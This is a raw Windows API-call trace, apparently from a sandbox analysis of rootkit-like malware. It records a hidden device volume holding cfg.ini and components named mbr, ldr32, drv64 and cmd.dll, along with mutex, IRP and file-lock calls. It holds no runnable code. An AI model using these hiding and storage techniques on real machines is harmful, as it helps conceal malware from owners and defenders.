[0126.925] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.925] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.925] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.925] IdePortDispatch () returned 0x103 [0126.926] KeWaitForMutexObject () returned 0x0 [0126.926] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.926] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.926] KeLeaveCriticalRegion () [0126.926] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.926] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.926] KeEnterCriticalRegion () [0126.926] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.926] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b3a000 [0126.926] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.926] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.926] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.926] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.926] IdePortDispatch () returned 0x103 [0126.927] KeWaitForMutexObject () returned 0x0 [0126.927] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.927] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.927] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.927] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.927] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.927] IdePortDispatch () returned 0x103 [0126.927] KeWaitForMutexObject () returned 0x0 [0126.927] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.927] KeLeaveCriticalRegion () [0126.927] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.928] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.928] KeEnterCriticalRegion () [0126.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.928] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.928] KeLeaveCriticalRegion () [0126.928] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.928] KeEnterCriticalRegion () [0126.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.928] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.928] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7a60, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.928] KeLeaveCriticalRegion () [0126.928] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.928] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.928] KeEnterCriticalRegion () [0126.928] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.928] ExFreePoolWithTag (P=0xfffffa80037da540, Tag=0x0) [0126.928] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.928] KeLeaveCriticalRegion () [0126.928] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.928] ReleaseMutex (hMutex=0xf0) returned 1 [0126.928] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.928] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.928] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.929] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.929] KeEnterCriticalRegion () [0126.929] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.929] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.929] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.929] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.929] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.929] IdePortDispatch () returned 0x103 [0126.929] KeWaitForMutexObject () returned 0x0 [0126.929] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.929] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.929] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.929] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.929] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.929] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.929] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.929] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.929] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.929] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.929] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.930] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.930] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.930] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.930] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.930] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.930] KeLeaveCriticalRegion () [0126.930] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.930] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.930] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.930] KeEnterCriticalRegion () [0126.930] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.930] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.930] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.930] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.930] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.930] IdePortDispatch () returned 0x103 [0126.930] KeWaitForMutexObject () returned 0x0 [0126.930] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.930] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.930] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.930] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.930] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.930] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.930] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.930] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.930] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.930] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.930] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.930] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.931] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.931] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.931] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.931] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.931] KeLeaveCriticalRegion () [0126.931] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.931] ReleaseMutex (hMutex=0x100) returned 1 [0126.931] Sleep (dwMilliseconds=0x2bf20) [0126.940] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6edb2c30, dwHighDateTime=0x1d24fa4)) [0126.940] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0126.940] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.940] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.940] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.940] KeEnterCriticalRegion () [0126.940] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.940] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.940] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.940] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.940] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.940] IdePortDispatch () returned 0x103 [0126.940] KeWaitForMutexObject () returned 0x0 [0126.940] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.940] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.940] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.940] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.940] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.940] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bf4dc0 [0126.940] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.940] KeLeaveCriticalRegion () [0126.940] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.940] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.940] KeEnterCriticalRegion () [0126.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.941] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.941] KeLeaveCriticalRegion () [0126.941] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.941] KeEnterCriticalRegion () [0126.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.941] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.941] IdePortDispatch () returned 0x103 [0126.941] KeWaitForMutexObject () returned 0x0 [0126.941] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.941] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.941] KeLeaveCriticalRegion () [0126.941] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.941] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.941] KeEnterCriticalRegion () [0126.941] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.941] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b3d000 [0126.941] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.941] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.941] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.942] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.942] IdePortDispatch () returned 0x103 [0126.942] KeWaitForMutexObject () returned 0x0 [0126.942] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.942] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.942] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.942] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.942] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.942] IdePortDispatch () returned 0x103 [0126.942] KeWaitForMutexObject () returned 0x0 [0126.942] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.942] KeLeaveCriticalRegion () [0126.942] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.943] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.943] KeEnterCriticalRegion () [0126.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.943] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.943] KeLeaveCriticalRegion () [0126.943] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.943] KeEnterCriticalRegion () [0126.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.943] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.943] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7770, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.943] KeLeaveCriticalRegion () [0126.943] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.943] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.943] KeEnterCriticalRegion () [0126.943] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.943] ExFreePoolWithTag (P=0xfffffa8003bf4dc0, Tag=0x0) [0126.943] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.943] KeLeaveCriticalRegion () [0126.944] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.944] ReleaseMutex (hMutex=0xf0) returned 1 [0126.944] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.944] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.944] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.944] KeEnterCriticalRegion () [0126.944] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.944] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.944] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.944] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.944] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.944] IdePortDispatch () returned 0x103 [0126.944] KeWaitForMutexObject () returned 0x0 [0126.944] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.944] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.944] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.944] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.944] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.944] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7fb0 [0126.944] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.944] KeLeaveCriticalRegion () [0126.944] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.945] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.945] KeEnterCriticalRegion () [0126.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.945] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.945] KeLeaveCriticalRegion () [0126.945] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.945] KeEnterCriticalRegion () [0126.945] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.945] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.945] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.945] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.945] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.945] IdePortDispatch () returned 0x103 [0126.945] KeWaitForMutexObject () returned 0x0 [0126.945] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.945] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.945] KeLeaveCriticalRegion () [0126.945] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.945] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.945] KeEnterCriticalRegion () [0126.946] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.946] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b3e000 [0126.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.946] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.946] IdePortDispatch () returned 0x103 [0126.946] KeWaitForMutexObject () returned 0x0 [0126.946] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.946] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.946] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.946] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.946] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.946] IdePortDispatch () returned 0x103 [0126.946] KeWaitForMutexObject () returned 0x0 [0126.946] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.946] KeLeaveCriticalRegion () [0126.946] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.947] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.947] KeEnterCriticalRegion () [0126.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.947] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.947] KeLeaveCriticalRegion () [0126.947] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.947] KeEnterCriticalRegion () [0126.947] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.947] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.947] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037da8c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.947] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.947] KeLeaveCriticalRegion () [0126.947] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.947] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.948] KeEnterCriticalRegion () [0126.948] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.948] ExFreePoolWithTag (P=0xfffffa800c4f7fb0, Tag=0x0) [0126.948] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) 